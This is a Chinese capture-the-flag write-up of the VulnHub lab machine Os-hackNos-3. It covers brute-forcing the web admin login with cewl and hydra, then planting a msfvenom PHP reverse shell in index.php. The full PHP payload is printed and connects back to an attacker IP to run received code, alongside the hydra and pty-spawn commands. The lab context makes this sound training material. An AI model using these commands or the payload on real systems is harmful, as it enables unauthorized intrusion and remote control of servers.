前言
靶机:Os-hackNos-3-vulnhub
靶机IP: 192.168.43.68
攻击机IP:192.168.43.231
考点:
cewl生成密码字典
hydra爆破web登陆框
msfvenom生成php反弹shell
msf反弹php的web-shell
渗透分析
靶机扫描,其中80端口,和22号端口是开着的。
访问80端口
这里也是存在脑洞的,真的有CTF的影子。websec
是可以访问的目录。扫描该目录
访问admin,这里登陆后台。
划重点———————————–>>>学习使用hydra爆破登陆密码。
之前做的是hydra爆破mysql的密码
使用kali自带的rockyou.txt来爆破密码不成。所以爬取websec的字段,字符等用来爆破
1 | cewl http://192.168.43.68/websec -w pass |
重点来了
hydra爆破 登入密码,爆破的命令格式,可以根据我们burp抓包,去定义、
抓包情况如下:
根据发送的POST请求,以及回显构造命令,如下:
1 | hydra -l contact@hacknos.com -P pass 192.168.1.146 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V |
获得账号:contact@hacknos.com
密码:Securityx
登陆后台后,进行反弹shell.
首先构造payload
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=1234 R > shell.php |
1 | /**/ error_reporting(0); $ip = '192.168.1.124'; $port = 1234; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); |
然后msf启动了后台模块
1 | msfconsole |
把shell.php的东西复制到index.php
然后保存后,访问http://192.168.1.146/websec/index.php
getshell成功后,第一件事儿就是获得tty
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
在/var/local
中可以查看一个database的东西。
脑洞在这里,这个可以解码的。解码地址:
http://www.spammimic.com/spreadsheet.php?action=decode
解码获得:Security@x@
猜测这个blackdevil可能是超级用户。
然后提权
提权成功。
总结
学习了hydra的一些使用方法,还有提权的一些思路
做完之后,发现有一个博主提供了很多提权的方法
https://blog.csdn.net/weixin_44214107/article/details/104039918